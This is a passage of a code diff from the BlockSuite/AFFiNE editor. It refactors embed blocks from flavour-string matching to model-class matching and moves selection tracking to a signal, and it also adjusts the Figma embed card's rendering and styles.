ImageBlockModel,
ListBlockModel,
NoteBlockModel,
NoteDisplayMode,
ParagraphBlockModel,
} from '@blocksuite/affine-model';
import { EMBED_CARD_HEIGHT } from '@blocksuite/affine-shared/consts';
import { NotificationProvider } from '@blocksuite/affine-shared/services';
import { matchFlavours, SpecProvider } from '@blocksuite/affine-shared/utils';
import { matchModels, SpecProvider } from '@blocksuite/affine-shared/utils';
import { BlockStdScope } from '@blocksuite/block-std';
import { assertExists } from '@blocksuite/global/utils';
import {
@@ -68,7 +71,7 @@ async function renderPageAsBanner(card: EmbedSyncedDocCard) {
}
const target = notes.flatMap(note =>
note.children.filter(child => matchFlavours(child, ['affine:image']))
note.children.filter(child => matchModels(child, [ImageBlockModel]))
)[0];
if (target) {
@@ -135,13 +138,11 @@ async function renderNoteContent(
const cardStyle = card.model.style;
const isHorizontal = cardStyle === 'horizontal';
const allowFlavours: (keyof BlockSuite.BlockModels)[] = isHorizontal
? []
: ['affine:image'];
const allowFlavours = isHorizontal ? [] : [ImageBlockModel];
const noteChildren = notes.flatMap(note =>
note.children.filter(model => {
if (matchFlavours(model, allowFlavours)) {
if (matchModels(model, allowFlavours)) {
return true;
}
return filterTextModel(model);
@@ -196,7 +197,7 @@ async function renderNoteContent(
match: ids.map(id => ({ id, viewType: 'display' })),
};
const previewDoc = doc.doc.getStore({ query });
const previewSpec = SpecProvider.getInstance().getSpec('page:preview');
const previewSpec = SpecProvider._.getSpec('preview:page');
const previewStd = new BlockStdScope({
store: previewDoc,
extensions: previewSpec.value,
@@ -214,7 +215,7 @@ async function renderNoteContent(
}
function filterTextModel(model: BlockModel) {
if (matchFlavours(model, ['affine:paragraph', 'affine:list'])) {
if (matchModels(model, [ParagraphBlockModel, ListBlockModel])) {
return !!model.text?.toString().length;
}
return false;
@@ -223,7 +224,7 @@ function filterTextModel(model: BlockModel) {
export function getNotesFromDoc(doc: Store) {
const notes = doc.root?.children.filter(
child =>
matchFlavours(child, ['affine:note']) &&
matchModels(child, [NoteBlockModel]) &&
child.displayMode !== NoteDisplayMode.EdgelessOnly
);
@@ -304,7 +305,7 @@ export function getDocContentWithMaxLength(doc: Store, maxlength = 500) {
export function getTitleFromSelectedModels(selectedModels: DraftModel[]) {
const firstBlock = selectedModels[0];
if (
matchFlavours(firstBlock, ['affine:paragraph']) &&
matchModels(firstBlock, [ParagraphBlockModel]) &&
firstBlock.type.startsWith('h')
) {
return firstBlock.text.toString();
@@ -403,7 +404,6 @@ export function createLinkedDocFromSlice(
snapshots: BlockSnapshot[],
docTitle?: string
) {
// const modelsWithChildren = (list:BlockModel[]):BlockModel[]=>list.flatMap(model=>[model,...modelsWithChildren(model.children)])
const linkedDoc = doc.workspace.createDoc({});
linkedDoc.load(() => {
const rootId = linkedDoc.addBlock('affine:page', {

View File

@@ -22,12 +22,12 @@ export function toEdgelessEmbedBlock<
B extends typeof EmbedBlockComponent<Model, Service, WidgetName>,
>(block: B) {
return class extends toGfxBlockComponent(block) {
override selectedStyle$ = null;
_isDragging = false;
_isResizing = false;
_isSelected = false;
_showOverlay = false;
override [blockComponentSymbol] = true;
@@ -42,10 +42,6 @@ export function toEdgelessEmbedBlock<
return Bound.deserialize(this.model.xywh);
}
get rootService() {
return this.std.getService('affine:page');
}
_handleClick(_: MouseEvent): void {
return;
}
@@ -68,7 +64,7 @@ export function toEdgelessEmbedBlock<
this.edgelessSlots.elementResizeEnd.on(() => {
this._isResizing = false;
this._showOverlay =
this._isResizing || this._isDragging || !this._isSelected;
this._isResizing || this._isDragging || !this.selected$.peek();
})
);
}

View File

@@ -1,34 +1,18 @@
import type * as SurfaceEffects from '@blocksuite/affine-block-surface/effects';
import { EmbedFigmaBlockComponent } from './embed-figma-block';
import { EmbedEdgelessBlockComponent } from './embed-figma-block/embed-edgeless-figma-block';
import type { EmbedFigmaBlockService } from './embed-figma-block/embed-figma-service';
import {
EmbedGithubBlockComponent,
type EmbedGithubBlockService,
} from './embed-github-block';
import { EmbedGithubBlockComponent } from './embed-github-block';
import { EmbedEdgelessGithubBlockComponent } from './embed-github-block/embed-edgeless-github-block';
import { EmbedHtmlBlockComponent } from './embed-html-block';
import { EmbedHtmlFullscreenToolbar } from './embed-html-block/components/fullscreen-toolbar';
import { EmbedEdgelessHtmlBlockComponent } from './embed-html-block/embed-edgeless-html-block';
import { EmbedLinkedDocBlockComponent } from './embed-linked-doc-block';
import type {
InsertedLinkType,
insertEmbedLinkedDocCommand,
} from './embed-linked-doc-block/commands/insert-embed-linked-doc';
import { EmbedEdgelessLinkedDocBlockComponent } from './embed-linked-doc-block/embed-edgeless-linked-doc-block';
import {
EmbedLoomBlockComponent,
type EmbedLoomBlockService,
} from './embed-loom-block';
import { EmbedLoomBlockComponent } from './embed-loom-block';
import { EmbedEdgelessLoomBlockComponent } from './embed-loom-block/embed-edgeless-loom-bock';
import { EmbedSyncedDocBlockComponent } from './embed-synced-doc-block';
import { EmbedSyncedDocCard } from './embed-synced-doc-block/components/embed-synced-doc-card';
import { EmbedEdgelessSyncedDocBlockComponent } from './embed-synced-doc-block/embed-edgeless-synced-doc-block';
import {
EmbedYoutubeBlockComponent,
type EmbedYoutubeBlockService,
} from './embed-youtube-block';
import { EmbedYoutubeBlockComponent } from './embed-youtube-block';
import { EmbedEdgelessYoutubeBlockComponent } from './embed-youtube-block/embed-edgeless-youtube-block';
export function effects() {
@@ -90,8 +74,6 @@ export function effects() {
);
}
declare type _GLOBAL = typeof SurfaceEffects;
declare global {
interface HTMLElementTagNameMap {
'affine-embed-figma-block': EmbedFigmaBlockComponent;
@@ -111,20 +93,4 @@ declare global {
'affine-embed-linked-doc-block': EmbedLinkedDocBlockComponent;
'affine-embed-edgeless-linked-doc-block': EmbedEdgelessLinkedDocBlockComponent;
}
namespace BlockSuite {
interface BlockServices {
'affine:embed-figma': EmbedFigmaBlockService;
'affine:embed-github': EmbedGithubBlockService;
'affine:embed-loom': EmbedLoomBlockService;
'affine:embed-youtube': EmbedYoutubeBlockService;
}
interface CommandContext {
insertedLinkType?: Promise<InsertedLinkType>;
}
interface Commands {
insertEmbedLinkedDoc: typeof insertEmbedLinkedDocCommand;
}
}
}

View File

@@ -3,8 +3,8 @@ import type {
EmbedFigmaModel,
EmbedFigmaStyles,
} from '@blocksuite/affine-model';
import { BlockSelection, SurfaceSelection } from '@blocksuite/block-std';
import { html } from 'lit';
import { BlockSelection } from '@blocksuite/block-std';
import { html, nothing } from 'lit';
import { state } from 'lit/decorators.js';
import { classMap } from 'lit/directives/class-map.js';
import { styleMap } from 'lit/directives/style-map.js';
@@ -57,11 +57,10 @@ export class EmbedFigmaBlockComponent extends EmbedBlockComponent<
super.connectedCallback();
this._cardStyle = this.model.style;
if (!this.model.description && !this.model.title) {
if (!this.model.title) {
this.doc.withoutTransact(() => {
this.doc.updateBlock(this.model, {
title: 'Figma',
description: this.model.url,
});
});
}
@@ -76,40 +75,34 @@ export class EmbedFigmaBlockComponent extends EmbedBlockComponent<
// this is required to prevent iframe from capturing pointer events
this.disposables.add(
this.std.selection.slots.changed.on(() => {
this._isSelected =
!!this.selected?.is(BlockSelection) ||
!!this.selected?.is(SurfaceSelection);
this._showOverlay =
this._isResizing || this._isDragging || !this._isSelected;
this.selected$.subscribe(selected => {
this._showOverlay = this._isResizing || this._isDragging || !selected;
})
);
// this is required to prevent iframe from capturing pointer events
this.handleEvent('dragStart', () => {
this._isDragging = true;
this._showOverlay =
this._isResizing || this._isDragging || !this._isSelected;
this._isResizing || this._isDragging || !this.selected$.peek();
});
this.handleEvent('dragEnd', () => {
this._isDragging = false;
this._showOverlay =
this._isResizing || this._isDragging || !this._isSelected;
this._isResizing || this._isDragging || !this.selected$.peek();
});
}
override renderBlock() {
const { title, description, url } = this.model;
const titleText = title ?? 'Figma';
const descriptionText = description ?? url;
return this.renderEmbed(
() => html`
<div
class=${classMap({
'affine-embed-figma-block': true,
selected: this._isSelected,
selected: this.selected$.value,
})}
style=${styleMap({
transform: `scale(${this._scale})`,
@@ -145,9 +138,11 @@ export class EmbedFigmaBlockComponent extends EmbedBlockComponent<
</div>
</div>
<div class="affine-embed-figma-content-description">
${descriptionText}
</div>
${description
? html`<div class="affine-embed-figma-content-description">
${description}
</div>`
: nothing}
<div class="affine-embed-figma-content-url" @click=${this.open}>
<span>www.figma.com</span>
@@ -160,9 +155,6 @@ export class EmbedFigmaBlockComponent extends EmbedBlockComponent<
);
}
@state()
protected accessor _isSelected = false;
@state()
protected accessor _showOverlay = true;
}

View File

@@ -1,16 +1,14 @@
import {
EMBED_CARD_HEIGHT,
EMBED_CARD_WIDTH,
} from '@blocksuite/affine-shared/consts';
import { unsafeCSSVarV2 } from '@blocksuite/affine-shared/theme';
import { css, html } from 'lit';
export const styles = css`
.affine-embed-figma-block {
width: ${EMBED_CARD_WIDTH.figma}px;
display: flex;
flex-direction: column;
gap: 20px;
padding: 12px;
width: 100%;
height: 100%;
border-radius: 8px;
border: 1px solid var(--affine-background-tertiary-color);
@@ -18,8 +16,6 @@ export const styles = css`
opacity: var(--add, 1);
background: var(--affine-background-primary-color);
user-select: none;
aspect-ratio: ${EMBED_CARD_WIDTH.figma} / ${EMBED_CARD_HEIGHT.figma};
}
.affine-embed-figma {
@@ -161,7 +157,7 @@ export const styles = css`
white-space: normal;
overflow: hidden;
text-overflow: ellipsis;
color: var(--affine-text-secondary-color);
color: ${unsafeCSSVarV2('icon/primary')};
font-family: var(--affine-font-family);
font-size: var(--affine-font-xs);
@@ -183,10 +179,10 @@ export const styles = css`
width: 12px;
height: 12px;
}
.affine-embed-figma-content-url-icon .open-icon {
.affine-embed-figma-content-url-icon svg {
height: 12px;
width: 12px;
fill: var(--affine-text-secondary-color);
fill: ${unsafeCSSVarV2('icon/primary')};
}
.affine-embed-figma-block.selected {

Some files were not shown because too many files have changed in this diff Show More